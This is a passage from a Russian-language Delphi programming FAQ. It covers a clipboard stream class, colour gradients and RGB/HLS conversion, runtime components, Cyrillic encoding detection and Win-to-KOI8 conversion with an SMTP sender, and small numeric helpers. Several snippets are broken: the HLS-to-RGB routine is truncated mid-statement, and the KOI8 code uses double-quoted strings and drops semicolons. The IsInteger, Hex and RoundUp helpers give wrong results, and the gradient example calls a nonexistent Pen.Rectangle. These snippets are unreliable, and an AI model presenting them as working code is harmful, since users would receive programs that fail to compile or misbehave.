GlobalUnlock(FHandle);
FPosition := 0;
CloseClipboard;
end;

destructor TClipboardStream.Destroy;
begin
FreeMem(FMemory);
end;

function TClipboardStream.Read(var Buffer; Count : longint) : longint;
begin
if FPosition + Count > FSize then
  Result := FSize - FPosition
else
  Result := Count;
MoveMemory(@Buffer, PChar(FMemory) + FPosition, Result);
Inc(FPosition, Result);
end;

function TClipboardStream.Write(const Buffer; Count : longint) : longint;
var
  FHandle : HGlobal;
  tmp : pointer;
begin
ReallocMem(FMemory, FPosition + Count);
MoveMemory(PChar(FMemory) + FPosition, @Buffer, Count);
FPosition := FPosition + Count;
FSize := FPosition;
FHandle := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or GMEM_ZEROINIT, FSize);
try
  tmp := GlobalLock(FHandle);
  try
    MoveMemory(tmp, FMemory, FSize);
    OpenClipboard(0);
    SetClipboardData(FFormat, FHandle);
  finally
    GlobalUnlock(FHandle);
  end;
  CloseClipboard;
except
  GlobalFree(FHandle);
end;
Result := Count;
end;

function TClipboardStream.Seek(Offset : Longint; Origin : Word) : Longint;
begin
case Origin of
0 : FPosition := Offset;
1 : Inc(FPosition, Offset);
2 : FPosition := FSize + Offset;
end;
Result := FPosition;
end;

end.
К заголовку




Градиентная заливка и сложение цветов
Градиентная заливка и сложение цветов.

Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета. Делается это весьма просто.
Координаты получаемого цвета будут равны среднему значению соответствующих координат всех цветов.

Например, нужно сложить красный и синий. Получаем
(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).

В результате получаем сиреневый цвет. Также надо поступать, если цветов более чем 2: сложить соответствующие координаты,
потом каждую сумму разделить нацело на количество цветов.

Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным переходом от одного цвета к другому.

Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и линия (длиной h пикселов), по которой нужно
залить. Тогда каждый цвет каждого пиксела, находящегося на расстоянии x пикселов от начала будет равен (A1-(A1-B1)/h*x,
A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с градиентной заливкой, можно таким образом залить совершенно любую
фигуру: будь то прямоугольник, круг или просто произвольная фигура.

Вот как выглядит описанный алгоритм:

{Считается, что координаты первого цвета равны (A1, A2, A3), а второго (B1, B2, B3)}
{Кроме того, линия начинается в координатах (X1,Y1), а заканчивается в (X2,Y1)}

Var h,i: Integer;

begin
  h:=X2-X1-1;
  for i:=0 to h do begin
    PaintBox1.Canvas.Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i);
    PaintBox1.Canvas.Pen.Rectangle(I,Y1,I+1,Y1);
  end;
end.

К заголовку




Как извлечь Red, Green, и Blue компонент из определенного цвета?
Как извлечь Red, Green, и Blue компонент из определенного цвета? Ответ:
 Используйте функции Window API Get RValue(), GetGValue(), и GetBValue().
 Пример:
procedure TForm1.Button1Click(Sender: TObject);
 begin Form1.Canvas.Pen.Color := clRed;
 Memo1.Lines.Add('Red := ' + IntToStr(GetRValue(Form1.Canvas.Pen.Color)));
Memo1.Lines.Add('Red := ' + IntToStr(GetGValue(Form1.Canvas.Pen.Color)));
 Memo1.Lines.Add('Blue:= ' + IntToStr(GetBValue(Form1.Canvas.Pen.Color)));
end;
К заголовку




Преобразование RGB в HLS?
{ Максимальные значения }
Const
 HLSMAX = 240;
 RGBMAX = 255;
 UNDEFINED = (HLSMAX*2) div 3;
Var
 H, L, S  : integer; { H-оттенок, L-яркость, S-насыщенность }
 R, G, B  : integer; { цвета }

procedure RGBtoHLS;
Var
 cMax,cMin  : integer;
 Rdelta,Gdelta,Bdelta : single;
Begin
   cMax := max( max(R,G), B);
   cMin := min( min(R,G), B);
   L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) );

   if (cMax = cMin) then begin
      S := 0; H := UNDEFINED;
   end else begin
      if (L <= (HLSMAX/2)) then
         S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) )
      else
         S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) )
            / (2*RGBMAX-cMax-cMin) );
      Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      if (R = cMax) then H := round(Bdelta - Gdelta)
      else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta)
      else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta );
      if (H < 0) then H:=H + HLSMAX;
      if (H > HLSMAX) then H:= H - HLSMAX;
   end;
   if S<0 then S:=0; if S>HLSMAX then S:=HLSMAX;
   if L<0 then L:=0; if L>HLSMAX then L:=HLSMAX;
end;


procedure HLStoRGB;
Var
 Magic1,Magic2 : single;

  function HueToRGB(n1,n2,hue : single) : single;
  begin
     if (hue < 0) then hue := hue+HLSMAX;
     if (hue > HLSMAX) then hue:=hue -HLSMAX;
     if (hue < (HLSMAX/6)) then
        result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) )
     else
     if (hue < (HLSMAX/2)) then result:=n2 else
     if (hue < ((HLSMAX*2)/3)) then
        result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6)))
     else result:= ( n1 );
  end;

begin
   if (S = 0) then begin
      B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B;
   end else begin
      if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX
      else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX;
      Magic1 := 2*L-Magic2;
      R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
      G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX );
      B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
   end;
   if R<0 then R:=0; if R>RGBMAX then R:=RGBMAX;
   if G<0 then G:=0; if G>RGBMAX then G:=RGBMAX;
   if B<0 then B;
К заголовку




Градиентная заливка формы
Процедура GradientRect делает градиентную заливку (сверху в низ)
Параметры: цвета [от и до] и объект Canvas, поверхность которого и будет закрашена

procedure TForm1.GradientRect (FromRGB, ToRGB: TColor;Canvas:tcanvas);
var
RGBFrom : array[0..2] of Byte; { from RGB values }
RGBDiff : array[0..2] of integer; { difference of from/to RGB values }
ColorBand : TRect; { color band rectangular coordinates }
I : Integer; { color band index }
R : Byte; { a color band's R value }
G : Byte; { a color band's G value }
B : Byte; { a color band's B value }
begin
{ extract from RGB values}
RGBFrom[0] := GetRValue (ColorToRGB (FromRGB));
RGBFrom[1] := GetGValue (ColorToRGB (FromRGB));
RGBFrom[2] := GetBValue (ColorToRGB (FromRGB));
{ calculate difference of from and to RGB values}
RGBDiff[0] := GetRValue (ColorToRGB (ToRGB)) - RGBFrom[0];
RGBDiff[1] := GetGValue (ColorToRGB (ToRGB)) - RGBFrom[1];
RGBDiff[2] := GetBValue (ColorToRGB (ToRGB)) - RGBFrom[2];

{ set pen sytle and mode}
Canvas.Pen.Style := psSolid;
Canvas.Pen.Mode := pmCopy;

{ set color band's left and right coordinates}
ColorBand.Left := 0;
ColorBand.Right:= canvas.ClipRect.Right-Canvas.ClipRect.Left;

for I := 0 to $ff do
begin
{ calculate color band's top and bottom coordinates}
ColorBand.Top := MulDiv (I , canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
ColorBand.Bottom := MulDiv (I + 1,canvas.ClipRect.Bottom-Canvas.ClipRect.Top, $100);
{ calculate color band color}
R := RGBFrom[0] + MulDiv (I, RGBDiff[0], $ff);
G := RGBFrom[1] + MulDiv (I, RGBDiff[1], $ff);
B := RGBFrom[2] + MulDiv (I, RGBDiff[2], $ff);
{ select brush and paint color band}
Canvas.Brush.Color := RGB (R, G, B);
Canvas.FillRect (ColorBand);
end;
end;

Эту процедуру объявляем в публичных объявлениях:

public
{ Public declarations }
procedure GradientRect (FromRGB, ToRGB: TColor;Canvas:tcanvas);

Для закраски формы в обработчик формы OnPaint нужно вставить:

GradientRect (clBlue, clBlack,Canvas);

По событию OnResize для формы напишем:

Paint;
К заголовку




Как осуществить ввод текста в компоненте Label?
Многие программисты задавая такой вопрос получают на него стандартный ответ "используй edit box." На самом же деле этот
вопрос вполне решаем, хотя лейблы и не основаны на окне и, соответственно не могут получать фокус ввода и, соответственно не
могут получать символы, вводимые с клавиатуры. Давайте рассмотрим шаги, которые были предприняты мной для разработки
данного компонента.

Первый шаг, это кнопка, которая может отображать вводимый текст:

type
  TInputButton = class(TButton)
  private
    procedure WmChar (var Msg: TWMChar);
      message wm_Char;
  end;

procedure TInputButton.WmChar (var Msg: TWMChar);
var
  Temp: String;
begin
  if Char (Msg.CharCode) = #8 then
  begin
    Temp := Caption;
    Delete (Temp, Length (Temp), 1);
    Caption := Temp;
  end
  else
    Caption := Caption + Char (Msg.CharCode);
end;

С меткой (label) дела обстоят немного сложнее, так как прийдётся создать некоторые ухищрения, чтобы обойти её внутреннюю
структуру. Впринципе, проблему можно решить созданием других скрытых компонент (кстати, тот же edit box). Итак, посмотрим на
объявление класса:

type
  TInputLabel = class (TLabel)
  private
    MyEdit: TEdit;
    procedure WMLButtonDown (var Msg: TMessage);
      message wm_LButtonDown;
  protected
    procedure EditChange (Sender: TObject);
    procedure EditExit (Sender: TObject);
  public
    constructor Create (AOwner: TComponent); override;
  end;

Когда метка (label) создана, то она в свою очередь создаёт edit box и устанавливает несколько обработчиков событий для него.
Фактически, если пользователь кликает по метке, то фокус перемещается на (невидимый) edit box, и мы используем его события для
обновления метки. Обратите внимание на ту часть кода, которая подражает фокусу для метки (рисует прямоугольничек), основанная
на API функции DrawFocusRect:

constructor TInputLabel.Create (AOwner: TComponent);
begin
  inherited Create (AOwner);

  MyEdit := TEdit.Create (AOwner);
  MyEdit.Parent := AOwner as TForm;
  MyEdit.Width := 0;
  MyEdit.Height := 0;
  MyEdit.TabStop := False;
  MyEdit.OnChange := EditChange;
  MyEdit.OnExit := EditExit;
end;

procedure TInputLabel.WMLButtonDown (var Msg: TMessage);
begin
  MyEdit.SetFocus;
  MyEdit.Text := Caption;
  (Owner as TForm).Canvas.DrawFocusRect (BoundsRect);
end;

procedure TInputLabel.EditChange (Sender: TObject);
begin
  Caption := MyEdit.Text;
  Invalidate;
  Update;
  (Owner as TForm).Canvas.DrawFocusRect (BoundsRect);
end;

procedure TInputLabel.EditExit (Sender: TObject);
begin
  (Owner as TForm).Invalidate;
end;
К заголовку




Как вставить компонент в форму в run-time?
Для добавления компоненты в форму в run-time требуется выполнить следующие шаги:
1) объявите переменную типа Вашей компоненты:

var
        RTlabel  :  TLabel;

2) требуется учесть тот факт, что если у компоненты определен Owner,то компонента будет уничтожаться вместе с ним, в противном
случае,Вам придется это делать вручную, вызывая ее метод Free. В качестве Parent Вы должны присвоить ту форму (или
компоненту), в которую требуется вставить Ваш run-time элемент.

begin
        RTlabel:=TLabel.Create(MyOwner);
        RTlabel.Parent:=MyParent;                        { в методе формы - RTlabel.Parent:=Self }
        RTlabel.Caption:='Run-time instance of TLabel';
        RTlabel.Visible:=true;
end;
К заголовку




Как выбрать предка для компонента?
TComponent - предок для невизуальных компонентов
TWinControl - предок для визуальных компонентов, которым нужен Handel окна
TGraphicControl - предок для визуальных компонентов, котрым НЕ нужен Handel окна
TCustomControl - наиболее общий предок для визуальных компонентов
К заголовку




Как добавить scroll bar к моему компоненту?
Вам нужно создать свой собственный класс, который взаимодействует с сообщением CM_DESIGNHITTEST.

TMyScrollBar = class (TScrollBar)
    Procedure CMDesignHitTest (var Message : TCMDesignHitTest) ;
        Message CM_DESIGNHITTEST ;
    End ;

Procedure TMyScrollBar.CMDesignHitTest (var Message : TCMDesignHitTest) ;
  Begin
  Message.Result := 1;
  End ;

Когда нужно создать один или несколько scroll то используйте

TMyScrollBar.Create (Nil)

вместо

TMyScrollBar.Create (Self)

иначе scroll bar будет менять при кликании. Это означает, что вы должны обязательно вызвать метод free в деструкторе вашего
компонента самостоятельно.
К заголовку




Как назначить иконку для компонента?
===   1   ===
Если вы имеете в виду иконку на палитре компонентов, то создайте bitmap в ресурсном файле с расширением .dcr.Размер должен
быть 24 на 24 пикселя

===   2   ===

    IMPORTANT NOTE
    ================

Несмотря на то, что документация по Дельфи говорит, что имя ресурса не является чуствительным к регистру букв

"The resource names are not case-sensitive, but by convention, they are usually in upper case letters".

на самом деле, это работает только если имя указано ЗАГЛАВНЫМИ буквами

===   2   ===

    Примечание 3

имя иконки должно быть тоже самое, что и у компонента
К заголовку




Как перевести визуальный компонент, такой, как TPanel, в состояние перемещения (взять и перенести)?
Пример:
{ В случае Panel1:TPanel - обработчик события OnMouseDown }

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012;  { a magic number }
begin
  ReleaseCapture;
  panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;
К заголовку




Как перемещать визуальные компоненты?
Пример:
{ В случае Panel1:TPanel - обработчик события OnMouseDown }

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012;  { a magic number }
begin
  ReleaseCapture;
  panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;
Пример 2:

procedure TForm1.Button1MouseDown(Sender: TObject; Button:
  TMouseButton; Shift: TShiftState; X, Y: Integer);
{$IFNDEF WIN32}
var
  pt : TPoint;
{$ENDIF}
begin
  if ssCtrl in Shift then begin
    ReleaseCapture;
    SendMessage(Button1.Handle, WM_SYSCOMMAND, 61458, 0);
   {$IFNDEF WIN32}
    GetCursorPos(pt);
    SendMessage(Button1.Handle,
                WM_LBUTTONUP,
                MK_CONTROL,
                Longint(pt));
   {$ENDIF}
  end;
end;
К заголовку




Как получить компоненту по ее имени?
Используйте метод FindComponent , который есть у всех компонент -"контейнеров":
=== 1 ===
var
        Target: TComponent;
begin
        Target := FindComponent('Button1');
        TButton(Target).SetFocus;
end;

=== 2 ===
делается так:

(FindComponent('Button1')  AS TButton).Caption := 'Vasya Pupkin';
К заголовку




Как программно "щелкнуть" по компоненту speed button?
Я пытался использовать SendMessage но у Speedbuttons нет "handle"

Ответ:
В примере используется метод Perform класса TControl для отправки сообщения.

Пример:

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
        ShowMessage('clicked');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
        SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);
        SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);
end;

К заголовку




Мой орган имеет фокус но не получает сообщений от клавиатуры?
Если вы имеете опубликованное свойство DragMode и установили его в dmAutomatic,
то возможно ваш орган думает, что он находится в состоянии буксировка (dragging) но это не так.

В модуле CONTROLS.PAS есть локальная переменная DragControl которая указывет на орган,
который в дданный момент буксируется.
Возможно по некоторым причинам данная переменная не очищена  и поэтому процедура
WndProc класса TWinControls игнорирует все сообщения.
К заголовку




Определение компонента по нажатию мышки?
Как можно определить в обработчике MenuItem для PopupMenu,
на какой компоненте было произведено нажатие правой кнопки мыши?
Для этого нужно воспользоваться свойством PopupMenu.PopupComponent, например:

procedure TForm1.PopupItem1Click(Sender: TObject);
begin
        Label1.Caption := PopupMenu1.PopupComponent.ClassName;
end;
К заголовку




Почему при создании компонента Run time значения свойств по умолчанию не работают?
Нужно установить значения по умолчанию в конструкторе компонента.
Значения по умолчанию не используются, когда компонент создается Run time.
К заголовку




Что такое сообщения компонент?
Сообщения компонента подобны сообщениям  Windows за исключением того, что они используются для оповещения о событиях
связанных с компонентами Delphi.
Если вы имеете опубликованное свойство Font то вы должны перерисовать все субсвойства, которые изменятся. Изменение саоства
Font не обязательно генерирует сообщение Windows но контроль обязан знать об изменении.

Книга "Secrets of Delphi 2.0" дает описание различных компонентных сообщений.

Ниже список некоторых сообщений. Сооьщения с пометкой "Notification Only" не передают никакой информации и обработчик не
возрает никакой информации также.

CM_ACTIVATE               (Notification Only)
Форма посылает сообщение когда становится активной.

CM_CTL3DCHANGED           (Notification Only)
При изменении свойства CTL3D.

CM_DESIGNHITTEST
Параметр:        TCMDesignHitTest
Возврат:                или 0 или 1
Данное сообщение посылается, когда когда мышка над контролем.
Возвращает 1 если контроль хочет обрабатывать сообщения мышки в design mode.
Если возращается 0 то Delphi  обрабатывает сообщение. Если орган возвращает 1 все время, то popup меню никогда не появится.
Если орган не обрабатывает данное сообщение или возвращает 0 все время то орган не сможет реагировать сообщения мышки в
design mode.

CM_FONTCHANGED        (Notification Only)
Посылается органу, когда изменяется свойство font.

CM_FONTCHANGE             (Notification Only)
Орган посылает данное сообщение когда принимает сообщение WM_FONTCHANGE

CM_PARENTCTL3DCHANGED   (Notification Only)
Посылается все подчиненным органам когда parent (не Owner) принимает сообщение CM_CTL3DCHANGED. Данное сообщение
посылается также когда орган получает другого хозяина (parent).

CM_PARENTCOLORCHANGED    (Notification Only)
Орган посылает данно соообщение когда значение ParentColor изменяется. Данное сообщение также посылается когда орган читает
форму из потока или получает другого хозяина (parent).

CM_PARENTFONTCHANGED      (Notification Only)
Посылается всем подчиненным компонентам  когда хозяин (parent не Owner) принимает сообщение CM_FONTCHANGED. Данное
сообщение также посылается когда орган читает из потока или получает нового хозяина (parent).

CM_PARENTSHOWHINTCHANGED  (Notification Only)
Орган посылает данное сообщение когда значение его свойства ParentShowHint изменяется. Данное сообщение посылается также
когда орган читает из потока или получает нового хозяина (parent).

CM_WININICHANGE
Параметр:        Так как и для WM_WININICHANGE
Возврат:        Нет
Орган посылает данное сообщение когда принимает сообщение WM_WININICHANGE.
К заголовку




Эмуляция потери фокуса?
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  if ActiveControl is TEdit then
    (ActiveControl as TEdit).OnExit(ActiveControl);
end;
К заголовку




Отличить кодировки OEM и ANSII
если есть уверенность в том, что кодировка либо OEM либо ANSII, то определить OEM можно по наличию в тексте
некоторых
символов, которых нет в ANSII:

if(byte>=0x80 && byte<=0xA7) return OEM;
if(byte>=0xA9 && byte<=0xAF) return OEM;
К заголовку




Распознавание кодировки. Перекодировка.
=== 1 ===
Алгоритм распознования кодировки нужен для автоматического декодирования текста. Этот алгоритм основан на
том, что некоторые
буквы русского алфавита встречается очень часто, а некоторые редко. Поскольку этот способ статистический, то
лучше всего он
работает с большими текстами.

type
TCode = (win, koi, iso, dos);

const
CodeStrings: array [TCode] of String = ('win','koi','iso','dos');

procedure TForm1.Button1Click(Sender: TObject);
var
str: array [TCode] of string;
norm: array ['А'..'я'] of single;
code1, code2: TCode;
min1, min2: TCode;
count: array [char] of integer;
d, min: single;
s, so: string;
chars: array [char] of char;
c: char;
i: integer;
begin
so := Memo1.Text;

norm['А'] := 0.001;
norm['Б'] := 0;
norm['В'] := 0.002;
norm['Г'] := 0;
norm['Д'] := 0.001;
norm['Е'] := 0.001;
norm['Ж'] := 0;
norm['З'] := 0;
norm['И'] := 0.001;
norm['Й'] := 0;
norm['К'] := 0.001;
norm['Л'] := 0;
norm['М'] := 0.001;
norm['Н'] := 0.001;
norm['О'] := 0.001;
norm['П'] := 0.002;
norm['Р'] := 0.002;
norm['С'] := 0.001;
norm['Т'] := 0.001;
norm['У'] := 0;
norm['Ф'] := 0;
norm['Х'] := 0;
norm['Ц'] := 0;
norm['Ч'] := 0.001;
norm['Ш'] := 0.001;
norm['Щ'] := 0;
norm['Ъ'] := 0;
norm['Ы'] := 0;
norm['Ь'] := 0;
norm['Э'] := 0.001;
norm['Ю'] := 0;
norm['Я'] := 0;
norm['а'] := 0.057;
norm['б'] := 0.01;
norm['в'] := 0.031;
norm['г'] := 0.011;
norm['д'] := 0.021;
norm['е'] := 0.067;
norm['ж'] := 0.007;
norm['з'] := 0.013;
norm['и'] := 0.052;
norm['й'] := 0.011;
norm['к'] := 0.023;
norm['л'] := 0.03;
norm['м'] := 0.024;
norm['н'] := 0.043;
norm['о'] := 0.075;
norm['п'] := 0.026;
norm['р'] := 0.038;
norm['с'] := 0.034;
norm['т'] := 0.046;
norm['у'] := 0.016;
norm['ф'] := 0.001;
norm['х'] := 0.006;
norm['ц'] := 0.002;
norm['ч'] := 0.011;
norm['ш'] := 0.004;
norm['щ'] := 0.004;
norm['ъ'] := 0;
norm['ы'] := 0.012;
norm['ь'] := 0.012;
norm['э'] := 0.003;
norm['ю'] := 0.005;
norm['я'] := 0.015;

Str[win] := 'АаБбВвГгДдЕеЖжЗзИиЙйКкЛлМмНнОоПпРрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯя';
Str[koi] := 'юЮаАбБцЦдДеЕфФгГхХиИйЙкКлЛмМнНоОпПяЯрРсСтТуУжЖвВьЬыЫзЗшШэЭщЩчЧъЪ';
Str[iso] := 'РрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯяа№бёвђгѓдєеѕжізїијйљкњлћмќн§оўпџ';
Str[dos] := 'Ђ ЃЎ‚ўѓЈ"¤…Ґ†¦‡§€Ё‰©ЉЄ‹"ЊЌЋ®ЏЇђа'б'в"г"дoе-ж-зи™йљк›лњмќнћоџпз?и™йљк›лњмќнћоџп';
for c := #0 to #255 do
Chars[c] := c;

min1 := win;
min2 := win;
min := 0;
s := so;
fillchar(count, sizeof(count), 0);
for i := 1 to Length(s) do
inc(count[s[i]]);
for c := 'А' to 'я' do
min := min + sqr(count[c] / Length(s) - norm[c]);
for code1 := low(TCode) to high(TCode) do begin
for code2 := low(TCode) to high(TCode) do begin
if code1 = code2 then continue;

s := so;
for i := 1 to Length(Str[win]) do
Chars[Str[code2][i]] := Str[code1][i];
for i := 1 to Length(s) do
s[i] := Chars[s[i]];
fillchar(count, sizeof(count), 0);
for i := 1 to Length(s) do
inc(count[s[i]]);
d := 0;
for c := 'А' to 'я' do
d := d + sqr(count[c] / Length(s) - norm[c]);
if d < min then begin
min1 := code1;
min2 := code2;
min := d;
end;
end;
end;

s := Memo1.Text;
if min1 <> min2 then begin
for c := #0 to #255 do
Chars[c] := c;
for i := 1 to Length(Str[win]) do
Chars[Str[min2][i]] := Str[min1][i];
for i := 1 to Length(s) do
s[i] := Chars[s[i]];
end;
Form1.Caption := CodeStrings[min2] + ' ' + CodeStrings[min1];

Memo2.Text := s;
end;

=== 2 ===

Как можно перекодировать сообщение (содержание) из Win в КОИ8-Р для
отправки по EMail?

Ответ 1:
const
 Koi: Array[0..66] of Char = ("T", "Ё", "ё", "А", "Б", "В", "Г", "Д", "Е", "Ж",
                "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р",
                "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ",
                "Ы", "Ь", "Э", "Ю", "Я", "а", "б", "в", "г", "д",
                "е", "ж", "з", "и", "й", "к", "л", "м", "н", "о",
                "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш",
                "щ", "ъ", "ы", "ь", "э", "ю", "я");
 Win: Array[0..66] of Char = ("ё", "Ё", "T", "ю", "а", "б", "ц", "д", "е", "ф",
                "г", "х", "и", "й", "к", "л", "м", "н", "о", "п",
                "я", "р", "с", "т", "у", "ж", "в", "ь", "ы", "з",
                "ш", "э", "щ", "ч", "ъ", "Ю", "А", "Б", "Ц", "Д",
                "Е", "Ф", "Г", "Х", "И", "Й", "К", "Л", "М", "Н",
                "О", "П", "Я", "Р", "С", "Т", "У", "Ж", "В", "Ь",
                "Ы", "З", "Ш", "Э", "Щ", "Ч", "Ъ");


function WinToKoi(Str: String): String;
var
 i, j, Index: Integer;
begin
 Result := ""

 for i := 1 to Length(Str) do
 begin
  Index := -1;
  for j := Low(Win) to High(Win) do
   if Win[j] = Str[i] then
   begin
    Index := j;
    Break;
   end;

  if Index = -1 then Result := Result + Str[i]
         else Result := Result + Koi[Index];
 end;
end;

function KoiToWin(Str: String): String;
var
 i, j, Index: Integer;
begin
 Result := ""

 for i := 1 to Length(Str) do
 begin
  Index := -1;
  for j := Low(Win) to High(Win) do
   if Koi[j] = Str[i] then
   begin
    Index := j;
    Break;
   end;

  if Index = -1 then Result := Result + Str[i]
         else Result := Result + Win[Index];
 end;
end;


procedure SendFileOnSMTP(Host: String;
             Port: Integer;
             Subject,
             FromAddress, ToAddress,
             Body,
             FileName: String);
var
 NMSMTP: TNMSMTP;
begin
 if DelSpace(ToAddress) = "" then Exit;
 if ToAddress[1] = "" then Exit;

 if (DelSpace(FileName) <> "") and not FileExists(FileName) then
  raise Exception.Create("SendFileOnSMTP: file not exist: " + FileName);

 NMSMTP := TNMSMTP.Create(nil);
 try
  NMSMTP.Host := Host;
  NMSMTP.Port := Port;
  NMSMTP.Charset := "koi8-r"
  NMSMTP.PostMessage.FromAddress := FromAddress;
  NMSMTP.PostMessage.ToAddress.Text := ToAddress;
  NMSMTP.PostMessage.Attachments.Text := FileName;
  NMSMTP.PostMessage.Subject := Subject;
  NMSMTP.PostMessage.Date := DateTimeToStr(Now);
  NMSMTP.UserID := "netmaster"
  NMSMTP.PostMessage.Body.Text := WinToKoi(Body);
  NMSMTP.FinalHeader.Clear;
  NMSMTP.TimeOut := 5000;
  NMSMTP.Connect;
  NMSMTP.SendMail;
  NMSMTP.Disconnect;
 finally
  NMSMTP.Free;
 end;
end;
К заголовку




HEX -> Integer?
Второй способ:
CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR str : String;
Int,
i : integer;
BEGIN
READLN(str);
Int := 0;
FOR i := 1 TO Length(str) DO
IF str[i] < 'A' THEN
  Int := Int * 16 + ORD(str[i]) - 48
ELSE
  Int := Int * 16 + HEX[str[i]];
WRITELN(Int);
READLN;
END.
К заголовку




Байт Int в шестнадцатиричное?
Используйте такую функцию:

const
  Digits : array[0..$F] of Char = '0123456789ABCDEF';

function Hex(B : Byte) : string;
begin
  Result := Result + Digits[B shr 4];
  Result := Result + Digits[B and $F];
end;
К заголовку




Добавить #0 в паскалевскую строку?
var
  S : string ;

begin
  S := 'This is the string to pass' + #0 ;
  SomeAPICall( @S[1] ) ;
К заголовку




Как вставить в число разделитель разрядов?
function FormatNumber(l: longint): string;
begin
FormatNumber := FormatFloat('#,##0', StrToFloat(IntToStr(l)));
end;
К заголовку




Как передать PChar строку в Windows функцию, которая требует LongInt?
 Нужно использовать приведение типов. Хорошим примером может служить последний параметр Windows API функции
SendMessage(). В документации он приведен как требующий тип LongInt, но часто требует тип PChar для некоторых сообщений
(например, WM_WININICHANGE). Обычно для приведения оба типа должны быть одного размера. В примере с функцией
SendMessage() Вы можете привести тип PChar к типу LongInt, так как они оба занимают 4 байта в памяти.
Пример:
var s : array[0..64] of char;
begin StrCopy(S, 'windows');
 SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;
К заголовку




Как правильно округлять дробные числа?
Функция Round() округляет дробные числа "банковсим способом", т.е. дробная часть 0.5 округляется  до ближайшего четного числа
(1.5 = 2, а 2,5 = 2). Хотелось бы округлять числа стандартным методом, когда числа с дробной частью меньше 0.5 округлялись бы
вниз, а равной или большей 0.5 - вверх.
Пример такой функции:
function RoundUp(X: Extended): Extended;
begin
 Result := Trunc(X) + Trunc (Frac(X) * 2);
end;
К заголовку




Как преобразовать цвет в его текстовое представление?
Пример:
uses Graphics;
procedure TForm1.Button1Click(Sender: TObject);
begin
  Memo1.Lines.Add(ColorToString(clRed));
  Memo1.Lines.Add(IntToStr(StringToColor('clRed')));
end;
К заголовку




Как проверить, является ли строка целым числом?
function IsInteger(TestThis: String): Boolean;
begin
try
StrToInt(TestThis);
except
on EConvertError do
result := False;
else
result := True;
end;
end;
К заголовку




Как сравнивать числа с плавающей точкой?
Значения этих чисел приблизительные и их нельзя сравнивать напрямую.
Вместо это вычтите одно число из другого и если разница между ними ничтожна, то они равны.
if abs(d1-d2) < 0.00001 then
ShowMessage('D1 and D2 are equal');
К заголовку




Перекодировка из Win-кодировки в Dos-кодировку?
CharToOEM/OEMToChar
CharToOEMBuff/OEMToCharBuff.
К заголовку




Вынос на передний план окна под мышью (как в Linux)
Используем функцию SetForegroundWindow() и Timer, интервал
которого установлен в значение, которое вам нужно будет подобрать... :-))
procedure TForm1.Timer1Timer(Sender: TObject);
var
p: TPoint;
begin
GetCursorPos(p);
SetForegroundWindow(WindowFromPoint(p));
end;
К заголовку




Как запретить показ курсора в TEdit и ему подобных контролах?
Как запретить показ курсора в TEdit и ему подобных контролах ?

Создайте своего потомка с обработчиками:
  procedure WMPaint(var Msg: TMessage); message WM_Paint;
  procedure WMSetFocus(var Msg: TMessage); message WM_SetFocus;
  procedure WMNCHitTest(var Msg: TMessage); message WM_NCHitTest;

в которых вызывайте:
  inherited;
  HideCaret(Handle);
К заголовку




Как использовать анимированный курсор?
Как использовать анимированный курсор?

Ответ:

Во первых необходимо получит handle курсора, а затем определить его в массиве курсоров компонента TScreen. Индексы
предопределенных курсоров системы отрицательны, пользователь может определить курсор, индекс которого положителен.
Пример:

procedure TForm1.Button1Click(Sender: TObject);
var
        h : THandle;
begin
        h := LoadImage(0, 'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or
                        LR_LOADFROMFILE);
        if h = 0 then
